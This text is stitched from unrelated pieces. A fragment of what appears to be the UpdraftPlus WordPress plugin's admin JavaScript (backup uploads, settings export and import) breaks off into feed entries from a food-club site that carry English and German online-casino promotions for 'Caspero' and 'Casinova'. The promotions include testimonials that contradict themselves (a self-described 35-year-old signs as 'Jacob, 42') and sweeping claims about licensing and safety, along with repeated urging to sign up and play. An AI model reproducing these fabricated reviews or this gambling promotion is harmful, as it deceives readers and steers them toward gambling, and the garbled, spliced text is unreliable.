    '); } } else { td_container.find('.onedrive_folder_error').slideUp('slow', function() { td_container.find('.onedrive_folder_error').remove(); }); } }); $(settings_css_prefix+'#remote-storage-holder').on('click', '#updraftvault_connect_go', function(e) { $(settings_css_prefix+'#updraftvault_connect_go').html(updraftlion.connecting); updraft_send_command('vault_connect', { email: $('#updraftvault_email').val(), pass: $('#updraftvault_pass').val(), instance_id: $('#updraftvault_settings_connect').data('instance_id'), }, function(resp, status, response) { $(settings_css_prefix+'#updraftvault_connect_go').html(updraftlion.connect); if (resp.hasOwnProperty('e')) { updraft_html_modal('

    '+updraftlion.errornocolon+'

    '+resp.e+'

    ', updraftlion.disconnect, 400, 250); if (resp.hasOwnProperty('code') && resp.code == 'no_quota') { $(settings_css_prefix+'#updraftvault_settings_connect').slideUp(); $(settings_css_prefix+'#updraftvault_settings_default').slideDown(); } } else if (resp.hasOwnProperty('connected') && resp.connected && resp.hasOwnProperty('html')) { $(settings_css_prefix+'#updraftvault_settings_connect').slideUp(); $(settings_css_prefix+'#updraftvault_settings_connected').html(resp.html).slideDown(); } else { console.log(resp); alert(updraftlion.unexpectedresponse+' '+response); } }, { error_callback: function(response, status, error_code, resp) { $(settings_css_prefix+'#updraftvault_connect_go').html(updraftlion.connect); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } } }); return false; }); // Mark a backup as always keep (do not delete) $('#updraft-iframe-modal').on('change', '#always_keep_this_backup', function() { var backup_key = $(this).data('backup_key'); var params = { backup_key: backup_key, always_keep: $(this).is(':checked') ? 1 : 0, }; updraft_send_command('always_keep_this_backup', params, function(resp) { if (resp.hasOwnProperty('rawbackup')) { jQuery('#updraft-iframe-modal').dialog('close'); jQuery('.updraft_existing_backups_row_'+backup_key+' .updraft_existingbackup_date').data('rawbackup', resp.rawbackup); updraft_html_modal(jQuery('.updraft_existing_backups_row_'+backup_key+' .updraft_existingbackup_date').data('rawbackup'), updraftlion.raw, 780, 500); } }); }); }); // End ready Vault // Next: the encrypted database pluploader jQuery(function($) { try { if (typeof updraft_plupload_config2 !== 'undefined') { plupload_init(); } } catch (err) { console.log(err); } function plupload_init() { // create the uploader and pass the config from above var uploader = new plupload.Uploader(updraft_plupload_config2); // checks if browser supports drag and drop upload, makes some css adjustments if necessary uploader.bind('Init', function(up) { var uploaddiv = jQuery('#plupload-upload-ui2'); if (up.features.dragdrop) { uploaddiv.addClass('drag-drop'); jQuery('#drag-drop-area2') .on('dragover.wp-uploader', function() { uploaddiv.addClass('drag-over'); }) .on('dragleave.wp-uploader, drop.wp-uploader', function() { uploaddiv.removeClass('drag-over'); }); } else { uploaddiv.removeClass('drag-drop'); jQuery('#drag-drop-area2').off('.wp-uploader'); } }); uploader.init(); // a file was added in the queue uploader.bind('FilesAdded', function(up, files) { // var hundredmb = 100 * 1024 * 1024, max = parseInt(up.settings.max_file_size, 10); plupload.each(files, function(file) { // @codingStandardsIgnoreLine if (!/^backup_([\-0-9]{15})_.*_([0-9a-f]{12})-db([0-9]+)?\.(gz\.crypt)$/i.test(file.name)) { alert(file.name+': '+updraftlion.notdba); uploader.removeFile(file); return; } // a file was added, you may want to update your DOM here... jQuery('#filelist2').append( '
    ' + file.name + ' (' + plupload.formatSize(0) + '/' + plupload.formatSize(file.size) + ') ' + '
    '); }); up.refresh(); up.start(); }); uploader.bind('UploadProgress', function(up, file) { jQuery('#' + file.id + " .fileprogress").width(file.percent + "%"); jQuery('#' + file.id + " span").html(plupload.formatSize(parseInt(file.size * file.percent / 100))); }); uploader.bind('Error', function(up, error) { if ('-200' == error.code) { err_makesure = '\n'+updraftlion.makesure2; } else { err_makesure = updraftlion.makesure; } alert(updraftlion.uploaderr+' (code '+error.code+") : "+error.message+" "+err_makesure); }); // a file was uploaded uploader.bind('FileUploaded', function(up, file, response) { if (response.status == '200') { // this is your ajax response, update the DOM with it or something... if (response.response.substring(0,6) == 'ERROR:') { alert(updraftlion.uploaderror+" "+response.response.substring(6)); } else if (response.response.substring(0,3) == 'OK:') { bkey = response.response.substring(3); jQuery('#' + file.id + " .fileprogress").hide(); jQuery('#' + file.id).append(updraftlion.uploaded+' '+updraftlion.followlink+' '+updraftlion.thiskey+' '+jQuery('#updraftplus_db_decrypt').val().replace(/&/g, "&").replace(//g, ">")); } else { alert(updraftlion.unknownresp+' '+response.response); } } else { alert(updraftlion.ukrespstatus+' '+response.code); } }); } jQuery('#updraft-hidethis').remove(); /* * A Handlebarsjs helper function that is used to compare * two values if they are equal. Please refer to the example below. * Assuming "comment_status" contains the value of "spam". * * @param {mixed} a The first value to compare * @param {mixed} b The second value to compare * * @example * // returns "I am spam!", otherwise "I am not a spam!" * {{#ifeq "spam" comment_status}} * I am spam! * {{else}} * I am not a spam! * {{/ifeq}} * * @return {string} */ Handlebars.registerHelper('ifeq', function (a, b, opts) { if ('string' !== typeof a && 'undefined' !== typeof a && null !== a) a = a.toString(); if ('string' !== typeof b && 'undefined' !== typeof b && null !== b) b = b.toString(); if (a === b) { return opts.fn(this); } else { return opts.inverse(this); } }); /* * Handlebars helper function to replace all password chars into asterisk char * * @param {string} password Required. The plain-text password * * @return {string} */ Handlebars.registerHelper('maskPassword', function(password) { return password.replace(/./gi,'*'); }); /* * Handlebars helper function that wraps javascript encodeURIComponent so that it could encode the following characters: , / ? : @ & = + $ # * * @param {string} uri Required. The URI to be encoded */ Handlebars.registerHelper('encodeURIComponent', function(uri) { return encodeURIComponent(uri); }); /** * Handlebars helper function to compare two values using a specified operator * * @see https://stackoverflow.com/questions/8853396/logical-operator-in-a-handlebars-js-if-conditional#answer-16315366 * * @param {mixed} v1 the first value to compare * @param {mixed} v2 the second value to compare * * @return {boolean} true if the first value matched against the second value, false otherwise */ Handlebars.registerHelper('ifCond', function(v1, operator, v2, options) { switch (operator) { case '==': return (v1 == v2) ? options.fn(this) : options.inverse(this); case '===': return (v1 === v2) ? options.fn(this) : options.inverse(this); case '!=': return (v1 != v2) ? options.fn(this) : options.inverse(this); case '!==': return (v1 !== v2) ? options.fn(this) : options.inverse(this); case '<': return (v1 < v2) ? options.fn(this) : options.inverse(this); case '<=': return (v1 <= v2) ? options.fn(this) : options.inverse(this); case '>': return (v1 > v2) ? options.fn(this) : options.inverse(this); case '>=': return (v1 >= v2) ? options.fn(this) : options.inverse(this); case '&&': return (v1 && v2) ? options.fn(this) : options.inverse(this); case '||': return (v1 || v2) ? options.fn(this) : options.inverse(this); case 'typeof': return (v1 === typeof v2) ? options.fn(this) : options.inverse(this); case 'not_typeof': return (v1 !== typeof v2) ? options.fn(this) : options.inverse(this); default: return options.inverse(this); } }); /** * Handlebars helper function for looping through a block of code a specified number of times * * @param {mixed} from the start value * @param {mixed} to the end value where the loop will stop * @param {mixed} incr the increment number * * @return {mixed} the current processing number */ Handlebars.registerHelper('for', function(from, to, incr, block) { var accum = ''; for (var i = from; i < to; i += incr) accum += block.fn(i); return accum; }); /** * Assign value into a variable * * @param {string} name the variable name * @param {mixed} val the value */ Handlebars.registerHelper('set_var', function(name, val, options) { if (!options.data.root) { options.data.root = {}; } options.data.root[name] = val; }); /** * Get length of an array/object * * @param {mixed} object the object */ Handlebars.registerHelper('get_length', function(object) { if ("undefined" !== typeof object && false === object instanceof Array) { return Object.keys(object).length; } else if (true === object instanceof Array) { return object.length; } else { return 0; } }); /** * Return a space-separated list of CSS classes suitable for rows in the configuration section * * @see UpdraftPlus_BackupModule::get_css_classes() * * @param {boolean} include_instance a boolean value to indicate if we want to include the instance_id in the css class, we may not want to include the instance if it's for a UI element that we don't want to be removed along with other UI elements that do include a instance id * @return {string} the list of CSS classes */ Handlebars.registerHelper('get_template_css_classes', function(include_instance, options) { var css_classes = options.data.root.css_class + ' ' + options.data.root.method_id; if (!include_instance || !options.data.root['is_multi_options_feature_supported']) return css_classes; if (options.data.root['is_config_templates_feature_supported']) { css_classes += ' ' + options.data.root.method_id + '-' + options.data.root.instance_id; } else { css_classes += ' ' + options.data.root.method_id + '-' + options.data.root._instance_id; } return css_classes; }); /** * Output the value of an id or name attribute, as if currently within an input tag * This assumes standardised options handling (i.e. that the options array is updraft_(method-id)) * * @see UpdraftPlus_BackupModule::output_settings_field_name_and_id() * * @param {string} input_attribute The attribute of an input tag * @param {mixed} fields the field identifiers * @return {string} a specific value to the given input attribute */ Handlebars.registerHelper('get_template_input_attribute_value', function(input_attribute, fields, options) { var instance_id = options.data.root['is_config_templates_feature_supported'] ? options.data.root.instance_id : options.data.root._instance_id; var id = ename = ''; var method_id = options.data.root.method_id; try { fields = JSON.parse(fields); } catch (e) {} if ("undefined" !== typeof fields && Array === fields.constructor) { for (var i=0; i \ \ \

    \ \

    \ \ '; }); // Add remote methods html using handlebarjs if ($('#remote-storage-holder').length) { var html = ''; var not_instance_ids = ['default', 'template_properties']; for (var method in updraftlion.remote_storage_templates) { if ('undefined' != typeof updraftlion.remote_storage_options[method] && not_instance_ids.length < Object.keys(updraftlion.remote_storage_options[method]).length) { var template = Handlebars.compile(updraftlion.remote_storage_templates[method]); for (var partial_template_name in updraftlion.remote_storage_partial_templates[method]) { Handlebars.registerPartial(partial_template_name, Handlebars.compile(updraftlion.remote_storage_partial_templates[method][partial_template_name])); } var first_instance = true; var instance_count = 1; for (var instance_id in updraftlion.remote_storage_options[method]) { if (not_instance_ids.indexOf(instance_id) > -1) continue; var context = {}; // Initiate a reference by assigning an empty object to a variable (in this case the context variable) so that it can be used as a target of merging one or more other objects. Unlike basic values (boolean, string, integer, etc.), in Javascript objects and arrays are passed by reference // copy what are in the template properties to the context overwriting the same object properties, and then copy what are in the instance settings to the context overwriting all the same properties from the previous merging operation (if any). The context properties are overwritten by other objects that have the same properties later in the parameters order Object.assign(context, updraftlion.remote_storage_options[method]['template_properties'], updraftlion.remote_storage_options[method][instance_id]); if ('undefined' == typeof context['instance_conditional_logic']) { context['instance_conditional_logic'] = { type: '', // always by default rules: [], }; } context['instance_conditional_logic'].day_of_the_week_options = updraftlion.conditional_logic.day_of_the_week_options; context['instance_conditional_logic'].logic_options = updraftlion.conditional_logic.logic_options; context['instance_conditional_logic'].operand_options = updraftlion.conditional_logic.operand_options; context['instance_conditional_logic'].operator_options = updraftlion.conditional_logic.operator_options; context['first_instance'] = first_instance; if ('undefined' == typeof context['instance_enabled']) { context['instance_enabled'] = 1; } if ('undefined' == typeof context['instance_label'] || '' == context['instance_label']) { var method_name = updraftlion.remote_storage_methods[method]; var instance_label = ' (' + instance_count + ')'; if (1 == instance_count) { instance_label = ''; } context['instance_label'] = method_name + instance_label; } html += template(context); first_instance = false; instance_count++; } } else { html += updraftlion.remote_storage_templates[method]; } } $('#remote-storage-holder').append(html).ready(function () { $('.updraftplusmethod').not('.none').hide(); updraft_remote_storage_tabs_setup(); // Displays warning to the user of their mistake if they try to enter a URL in the OneDrive settings and saved $('#remote-storage-holder .updraftplus_onedrive_folder_input').trigger('keyup'); }); } }); // Save/Export/Import settings via AJAX jQuery(function($) { // Pre-load the image so that it doesn't jerk when first used var my_image = new Image(); my_image.src = updraftlion.ud_url+'/images/notices/updraft_logo.png'; // When inclusion options for file entities in the settings tab, reflect that in the "Backup Now" dialog, to prevent unexpected surprises $('#updraft-navtab-settings-content input.updraft_include_entity').on('change', function(e) { var event_target = $(this).attr('id'); var checked = $(this).is(':checked'); var backup_target = '#backupnow_files_'+event_target; $(backup_target).prop('checked', checked); }); $('#updraftplus-settings-save').on('click', function(e) { e.preventDefault(); $.blockUI({ css: { width: '300px', border: 'none', 'border-radius': '10px', left: 'calc(50% - 150px)', padding: '20px', }, message: '

    '+updraftlion.saving+'
    ' }); var form_data = gather_updraft_settings('string'); // POST the settings back to the AJAX handler updraft_send_command('savesettings', { settings: form_data, updraftplus_version: updraftlion.updraftplus_version }, function(resp, status, response) { // Add page updates etc based on response updraft_handle_page_updates(resp, response); $('#updraft-wrap .fade').delay(6000).fadeOut(2000); if (window.updraft_main_tour && !window.updraft_main_tour.canceled) { window.updraft_main_tour.show('settings_saved'); check_cloud_authentication(); } else { $('html, body').animate({ scrollTop: $("#updraft-wrap").offset().top }, 1000, function() { check_cloud_authentication() }); } $.unblockUI(); }, { action: 'updraft_savesettings', error_callback: function(response, status, error_code, resp) { $.unblockUI(); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); alert(error_message); console.log(response); } }, nonce: updraftplus_settings_nonce}); }); $('#updraftplus-settings-export').on('click', function() { if (updraft_settings_form_changed) { alert(updraftlion.unsaved_settings_export); } export_settings(); }); $('#updraftplus-settings-import').on('click', function() { $.blockUI({ css: { width: '300px', border: 'none', 'border-radius': '10px', left: 'calc(50% - 150px)', padding: '20px', }, message: '

    '+updraftlion.importing+'
    ' }); var updraft_import_file_input = document.getElementById('import_settings'); if (updraft_import_file_input.files.length == 0) { alert(updraftlion.import_select_file); $.unblockUI(); return; } var updraft_import_file_file = updraft_import_file_input.files[0]; var updraft_import_file_reader = new FileReader(); updraft_import_file_reader.onload = function() { import_settings(this.result); }; updraft_import_file_reader.readAsText(updraft_import_file_file); }); function export_settings() { var form_data = gather_updraft_settings('object'); var date_now = new Date(); // The 'version' attribute indicates the last time the format changed - i.e. do not update this unless there is a format change form_data = JSON.stringify({ version: '1.12.40', epoch_date: date_now.getTime(), local_date: date_now.toLocaleString(), network_site_url: updraftlion.network_site_url, data: form_data }); // Attach this data to an anchor on page var link = document.body.appendChild(document.createElement('a')); link.setAttribute('download', updraftlion.export_settings_file_name); link.setAttribute('style', "display:none;"); link.setAttribute('href', 'data:text/json' + ';charset=UTF-8,' + encodeURIComponent(form_data)); link.click(); } function import_settings(updraft_file_result) { var parsed; try { parsed = ud_parse_json(updraft_file_result); } catch (e) { $.unblockUI(); jQuery('#import_settings').val(''); console.log(updraft_file_result); console.log(e); alert(updraftlion.import_invalid_json_file); return; } if (window.confirm(updraftlion.importing_data_from + ' ' + parsed['network_site_url'] + "\n" + updraftlion.exported_on + ' ' + parsed['local_date'] + "\n" + updraftlion.continue_import)) { // GET the settings back to the AJAX handler var stringified = JSON.stringify(parsed['data']); updraft_send_command('importsettings', { settings: stringified, updraftplus_version: updraftlion.updraftplus_version, }, function(decoded_response, status, response) { var resp = updraft_handle_page_updates(decoded_response); if (!resp.hasOwnProperty('saved') || resp.saved) { // Prevent the user being told they have unsaved settings updraft_settings_form_changed = false; // Add page updates etc based on response location.replace(updraftlion.updraft_settings_url); } else { $.unblockUI(); if (resp.hasOwnProperty('error_message') && resp.error_message) { alert(resp.error_message); } } }, { action: 'updraft_importsettings', nonce: updraftplus_settings_nonce, error_callback: function(response, status, error_code, resp) { $.unblockUI(); if (typeof resp !== 'undefined' && resp.hasOwnProperty('fatal_error')) { console.error(resp.fatal_error_message); alert(resp.fatal_error_message); } else { var error_message = "updraft_send_command: error: "+status+" ("+error_code+")"; console.log(error_message); console.log(response); alert(error_message); } } }); } else { $.unblockUI(); } } /** * Retrieve the current settings from the DOM * * @param {string} output_format - the output format; valid values are 'string' or 'object' * * @returns String|Object */ function gather_updraft_settings(output_format) { var form_data = ''; var output_format = ('undefined' === typeof output_format) ? 'string' : output_format; if ('object' == output_format) { // Excluding the unnecessary 'action' input avoids triggering a very mis-conceived mod_security rule seen on one user's site form_data = $("#updraft-navtab-settings-content form input[name!='action'][name!='option_page'][name!='_wpnonce'][name!='_wp_http_referer'], #updraft-navtab-settings-content form textarea, #updraft-navtab-settings-content form select, #updraft-navtab-settings-content form input[type=checkbox]").serializeJSON({checkboxUncheckedValue: '0', useIntKeysAsArrayIndex: true}); } else { // Excluding the unnecessary 'action' input avoids triggering a very mis-conceived mod_security rule seen on one user's site form_data = $("#updraft-navtab-settings-content form input[name!='action'], #updraft-navtab-settings-content form textarea, #updraft-navtab-settings-content form select").serialize(); // include unchecked checkboxes. user filter to only include unchecked boxes. $.each($('#updraft-navtab-settings-content form input[type=checkbox]') .filter(function(idx) { return $(this).prop('checked') == false }), function(idx, el) { // attach matched element names to the form_data with chosen value. var empty_val = '0'; form_data += '&' + $(el).attr('name') + '=' + empty_val; } ); } return form_data; } /** * Method to parse the response from the backend and update the page with the returned content or display error messages if failed * * @param {array} resp - the JSON-decoded response containing information to update the settings page with * @param {string} response - the JSON-encoded response containing information to update the settings page with * * @return {object} - the decoded response (empty if decoding was not successful) */ function updraft_handle_page_updates(resp, response) { try { var messages = resp.messages; // var debug = resp.changed.updraft_debug_mode; // If backup dir is not writable, change the text, and grey out the 'Backup Now' button var backup_dir_writable = resp.backup_dir.writable; var backup_dir_message = resp.backup_dir.message; var backup_button_title = resp.backup_dir.button_title; } catch (e) { console.log(e); console.log(response); alert(updraftlion.jsonnotunderstood); $.unblockUI(); return {}; } if (resp.hasOwnProperty('changed')) { console.log("UpdraftPlus: savesettings: some values were changed after being filtered"); console.log(resp.changed); for (prop in resp.changed) { if ('object' === typeof resp.changed[prop]) { for (innerprop in resp.changed[prop]) { if (!$("[name='"+innerprop+"']").is(':checkbox')) { $("[name='"+prop+"["+innerprop+"]']").val(resp.changed[prop][innerprop]); } } } else { if (!$("[name='"+prop+"']").is(':checkbox')) { $("[name='"+prop+"']").val(resp.changed[prop]); } } } } $('#updraft_writable_mess').html(backup_dir_message); if (false == backup_dir_writable) { $('#updraft-backupnow-button').attr('disabled', 'disabled'); $('#updraft-backupnow-button').attr('title', backup_button_title); $('.backupdirrow').css('display', 'table-row'); } else { $('#updraft-backupnow-button').prop('disabled', false); $('#updraft-backupnow-button').removeAttr('title'); // $('.backupdirrow').hide(); } if (resp.hasOwnProperty('updraft_include_more_path')) { $('#backupnow_includefiles_moreoptions').html(resp.updraft_include_more_path); } if (resp.hasOwnProperty('backup_now_message')) { $('#backupnow_remote_container').html(resp.backup_now_message); } // Move from 2 to 1 $('.updraftmessage').remove(); $('#updraft_backup_started').before(resp.messages); console.log(resp); // $('#updraft-next-backup-inner').html(resp.scheduled); $('#updraft-next-files-backup-inner').html(resp.files_scheduled); $('#updraft-next-database-backup-inner').html(resp.database_scheduled); return resp; } /** * This function has the workings for checking if any cloud storage needs authentication * If so, these are amended to the HTML and the popup is shown to the users. */ function check_cloud_authentication(){ var show_auth_modal = false; jQuery('#updraft-authenticate-modal-innards').html(''); jQuery("div[class*=updraft_authenticate_] a.updraft_authlink").each(function () { var pretext = jQuery(this).data('pretext'); if ('undefined' === typeof pretext) pretext = ''; jQuery("#updraft-authenticate-modal-innards").append(pretext+'

    '+jQuery(this).html()+'

    '); show_auth_modal = true; }); if (show_auth_modal) { var updraft_authenticate_modal_buttons = {}; updraft_authenticate_modal_buttons[updraftlion.cancel] = function() { jQuery(this).dialog("close"); }; jQuery('#updraft-authenticate-modal').dialog({autoOpen: true, modal: true, resizable: false, draggable: false, resizeOnWindowResize: true, scrollWithViewport: true, resizeAccordingToViewport: true, useContentSize: false, open: function(event, ui) { $(this).dialog('option', 'width', 860); $(this).dialog('option', 'height', 260); }, buttons: updraft_authenticate_modal_buttons}).dialog('open'); } } $('.udp-replace-with-iframe--js').on('click', function(e) { e.preventDefault(); var url = $(this).prop('href'); var iframe = $('

    Join the Fun: Play Top Casino Games Online in English with Caspero – Sign Up Today

    Join the fun and play top casino games online in English with Caspero today! Our platform offers a wide range of exciting casino games, all available in your preferred language. Canadians, sign up now to start your online casino journey with Caspero. Experience the thrill of playing popular casino games such as blackjack, roulette, and slots in a safe and secure environment. Plus, with our user-friendly platform, you can enjoy seamless gameplay and easy navigation. Don’t miss out on the action – sign up today and start winning big with Caspero!

    I am thrilled to share my positive experience with Caspero, the best platform for online casino gaming in Canada. As a 35-year-old tech enthusiast, I have always been on the lookout for reliable and enjoyable online casinos. Caspero has exceeded my expectations in every way.

    The registration process was straightforward and quick. Within minutes, I was able to log in and start exploring the wide variety of games available. I was impressed by the sleek and user-friendly interface that made it easy to navigate the site.

    One of the things that sets Caspero apart from other online casinos is its focus on English play. As a native English speaker, I appreciated the fact that I could play my favourite games without having to worry about language barriers. The customer support team was also very helpful and responsive, which made my experience even more enjoyable.

    I have tried several games on Caspero, and I have to say that they are all top-notch. The graphics and sound effects are stunning, and the games run smoothly without any lag. I have also noticed that the payouts are very generous, which is always a plus.

    Overall, I highly recommend Caspero to anyone looking for a reliable and enjoyable online casino in Canada. With its focus on English play, sleek interface, and high-quality games, it is truly a cut above the rest. Don’t miss out – log in now and start playing!

    Another satisfied customer,

    Jacob, 42, Marketing Manager

    Caspero has been a fantastic discovery for me. As a 48-year-old retiree, I have found the perfect platform to enjoy my favourite casino games from the comfort of my own home. The site’s commitment to English play has made it so much easier for me to understand and enjoy the games.

    The registration process was simple and quick, and I was able to start playing my favourite games in no time. I have tried several games on the site, and they are all of excellent quality. The graphics and sound effects are impressive, and the games run smoothly without any issues.

    What I appreciate the most about Caspero is its customer-focused approach. The support team is always available and ready to help with any questions or concerns. They have been incredibly helpful and made my experience on the site even more enjoyable.

    I would highly recommend Caspero to anyone looking for a reliable and trustworthy online casino in Canada. With its focus on English play, high-quality games, and excellent customer support, it is truly a standout platform. Don’t hesitate – log in now and start playing!

    Best regards,

    Janet, 48, Retiree

    Caspero is your gateway to a world-class English play casino experience in Canada. Log in now to access a wide range of casino games, including slots, blackjack, and roulette.

    But, before you start playing, you might have some questions. Here are some frequently asked questions: Do I need to download any software to play on Caspero? No, Caspero is a browser-based casino, meaning you can play directly from your web browser.

    Is it safe to play on Caspero? Absolutely. Caspero uses the latest encryption technologies to ensure that your personal and financial information is secure at all times.

    ]]> Spielen Sie im besten Online-Casino Casinova in Deutschland https://foodclub-eg.com/2025/07/01/spielen-sie-im-besten-onlinecasino-casinova-in-deutschland/ Tue, 01 Jul 2025 08:28:35 +0000 https://foodclub-eg.com/?p=7834 Spielen Sie im besten Online-Casino Casinova in Deutschland Read More »

    ]]>
    Spielen Sie im besten Online-Casino Casinova in Deutschland

    Casinova: Die Top-Adresse für Online-Casino-Spiel in Deutschland

    Besuchen Sie Casinova, die führende Adresse für Online-Casino-Spiele in Deutschland. Entdecken Sie eine riesige Auswahl an verschiedenen Spielen, darunter Slots, Roulette, Blackjack und Poker. Genießen Sie die besten Boni und Aktionen, die speziell für deutsche Spieler angeboten werden. Vertrauen Sie auf die Sicherheit und Zuverlässigkeit von Casinova, das von den strengsten Glücksspielbehörden lizenziert und reguliert wird. Spielen Sie jetzt bei Casinova und erleben Sie ein unvergessliches Online-Casino-Abenteuer!

    Spielen Sie im preisgekrönten Online-Casino Casinova in Deutschland

    Besuchen Sie die Welt von Casinova, dem renommierten Online-Casino in Deutschland.
    Spielen Sie eine riesige Auswahl von Spielen, einschließlich der neuesten Spielautomaten und Tischspiele.
    Genießen Sie die erstklassige Benutzererfahrung und eine schnelle, sichere und zuverlässige Plattform.
    Profitieren Sie von großzügigen Boni und Promotionen, die exklusiv für deutsche Spieler angeboten werden.
    Treten Sie noch heute der Casinova-Familie bei und spielen Sie im preisgekrönten Online-Casino in Deutschland!

    Entdecken Sie die besten Online-Casino-Spiele bei Casinova in Deutschland

    Entdecken Sie die besten Online-Casino-Spiele bei Casinova in Deutschland. Spielen Sie Roulette, Blackjack, Spielautomaten und mehr. Profitieren Sie von einem exklusiven Willkommensbonus und sichern Sie sich tägliche Promotionen. Unser Casino ist lizenziert und garantiert Ihnen ein faires und unterhaltsames Spielerlebnis. Probieren Sie es noch heute aus und werden Sie ein Teil der Casinova-Community!

    Discover the best online casino games at Casinova in Germany. Play Roulette, Blackjack, slot machines and more. Benefit from an exclusive welcome bonus and daily promotions. Our casino is licensed and guarantees you a fair and entertaining gaming experience. Try it out today and become part of the Casinova community!

    Sichern Sie sich hohe Gewinne im Casinova Online-Casino in Deutschland

    Erleben Sie spannende Online-Casinospiele im Casinova Casino in Deutschland.
    Sichern Sie sich hohe Gewinne mit unseren lukrativen Jackpots und Bonusangeboten.
    Entdecken Sie eine riesige Auswahl an Spielautomaten, Tischspielen und Live-Casinospielen.
    Genießen Sie sicheres und faires Spielen dank unserer strengen Sicherheitsmaßnahmen und Lizenzen.
    Treten Sie noch heute unserer Casino-Gemeinschaft bei und gewinnen Sie jetzt im Casinova Online-Casino!

    Erleben Sie erstklassige Unterhaltung im Casinova Online-Casino in Deutschland

    Erleben Sie erstklassige Unterhaltung in Deutschlands führendem Online-Casino, Casinova! Unser Ziel ist es, unseren Spielern eine breite Palette an Spielen und Dienstleistungen anzubieten, die unübertroffene Qualität und Innovation bieten. Hier sind 5 Gründe, warum Sie sich für Casinova entscheiden sollten:
    1. Große Auswahl an Spielen: Probieren Sie unsere Top-Spielautomaten, Tischspiele, Live-Casino und mehr aus.
    2. Sicherheit und Schutz: Wir verwenden die branchenweit fortschrittlichsten Verschlüsselungstechnologien, um Ihre Daten sicher zu halten.
    3. Attraktive Boni und Promotionen: Erhalten Sie Willkommensboni, tägliche Angebote und Treuepunkte.
    4. Mehrere Zahlungsoptionen: Nutzen Sie bequem und sicher eine Vielzahl von Ein- und Auszahlungsmethoden, einschließlich Kredit-/Debitkarten und E-Wallets.
    5. Unübertroffener Kundensupport: Unser hilfsbereites und kompetentes Support-Team ist rund um die Uhr für Sie da, um sicherzustellen, dass Ihr Spielerlebnis so reibungslos wie möglich ist.
    Treten Sie noch heute unserer Community bei und erleben Sie selbst, was Casinova zu einem der besten Online-Casinos in Deutschland macht!

    Spielen Sie im besten Online-Casino Casinova in Deutschland

    Genießen Sie sicheres und faires Spiel im Casinova Online-Casino in Deutschland

    Entdecken Sie das Casinova Online-Casino in Deutschland und Genießen Sie sicheres und faires Spiel. Unser Casino ist offiziell lizenziert und wird regelmäßig von unabhängigen Behörden überprüft. Wir bieten eine breite Palette von Spielen, einschließlich Slots, Tischspiele und Live-Dealer-Spiele. Profitieren Sie von schnellen und sicheren Ein- und Auszahlungen mit einer Vielzahl von Zahlungsmethoden. Darüber hinaus können Sie sich auf unseren zuverlässigen und mehrsprachigen Kundensupport verlassen. Spielen Sie verantwortungsbewusst und gewinnen Sie groß bei Casinova!

    Heute möchte ich über meine Erfahrungen mit dem Online-Casino Casinova in Deutschland berichten. Ich bin Philipp, 35 Jahre alt und ein begeisterter Online-Glücksspiel-Fan. Nach langem Suchen habe ich endlich mein Traum-Online-Casino gefunden und möchte es gerne mit Ihnen teilen.

    Casinova ist definitiv das beste Online-Casino, in dem ich je gespielt habe. Die Spielauswahl ist gigantisch und reicht von klassischen Spielautomaten über Tischspiele bis hin zu Live-Dealer-Spielen. Es ist wirklich für jeden Geschmack etwas dabei. Ich muss sagen, dass ich besonders gerne die Slot-Spiele spiele, weil sie einfach zu spielen und sehr unterhaltsam sind.

    Aber was mich am meisten beeindruckt hat, ist der hervorragende Kundenservice. Ich hatte kürzlich ein Problem mit meinem Account und habe sofort Hilfe bekommen. Das Support-Team war sehr professionell und hat mir schnell und effektiv geholfen. Ich habe mich wirklich sehr gut betreut gefühlt.

    Abgesehen davon ist das Design und die Benutzerfreundlichkeit von Casinova wirklich top. Die Seite ist sehr übersichtlich und einfach zu navigieren. Auch die mobile Version ist sehr gut umgesetzt. Man kann also jederzeit und überall spielen.

    Insgesamt kann ich sagen, dass Spielen im besten Online-Casino Casinova in Deutschland eine tolle Erfahrung ist. Ich kann es nur jedem empfehlen, es auszuprobieren und sich selbst zu überzeugen. Es lohnt sich wirklich!

    —————————————————————————————————————————— Casinova casino

    Ich heiße Anna, bin 28 Jahre alt und spiele seit einiger Zeit im Online-Casino Casinova in Deutschland. Ich bin sehr zufrieden mit der Seite und möchte meine Erfahrungen gerne mit Ihnen teilen.

    Die Spielauswahl ist wirklich riesig und bietet viele verschiedene Spielvarianten an. Man kann also stundenlang spielen und wird nie langweilig. Auch die Jackpots sind sehr verlockend und ich habe schon selbst ein paar Mal gewonnen!

    Das Design und die Benutzerfreundlichkeit finde ich auch sehr ansprechend. Die Seite ist sehr übersichtlich und die Bedienung ist kinderleicht. Man findet sich sofort zurecht und kann direkt mit dem Spielen beginnen.

    Besonders hervorheben möchte ich aber den Kundenservice von Casinova. Ich hatte ein paar Mal Fragen und habe immer sofort eine Antwort bekommen. Das Support-Team ist sehr freundlich und hilfsbereit. Man fühlt sich sehr gut aufgehoben und betreut.

    Ich kann Casinova also wirklich weiterempfehlen. Spielen Sie im besten Online-Casino Casinova in Deutschland und überzeugen Sie sich selbst von der Qualität und dem Spaß, den Sie hier haben können.

    Spielen Sie im Online-Casino Casinova in Deutschland? Hier sind Antworten auf häufig gestellte Fragen:

    1. Ist Casinova in Deutschland verfügbar? Ja, Casinova ist in Deutschland verfügbar und bietet eine breite Palette von Casino-Spielen an.

    2. Welche Spiele kann ich im Casinova spielen? Sie können eine Vielzahl von Spielen spielen, darunter Slots, Blackjack, Roulette und Live-Dealer-Spiele.

    3. Ist Casinova in Deutschland lizenziert? Ja, Casinova ist in Deutschland lizenziert und wird von den zuständigen Behörden überwacht.

    ]]>
    Experience Fun Bet Play in English: Top Online Casinos for UK Players https://foodclub-eg.com/2025/07/01/experience-fun-bet-play-in-english-top-online-casinos-for-uk-players/ Tue, 01 Jul 2025 06:20:54 +0000 https://foodclub-eg.com/?p=7832 Experience Fun Bet Play in English: Top Online Casinos for UK Players Read More »

    ]]>
    Experience Fun Bet Play in English: Top Online Casinos for UK Players

    Unforgettable Gaming Experiences: Top Online Casinos for UK Players

    Are you a UK player seeking unforgettable gaming experiences? Look no further! Our top picks for online casinos offer thrilling games, secure transactions, and attractive bonuses.
    1. Casino.com: With a vast game library and user-friendly interface, Casino.com provides an unforgettable experience for UK players.
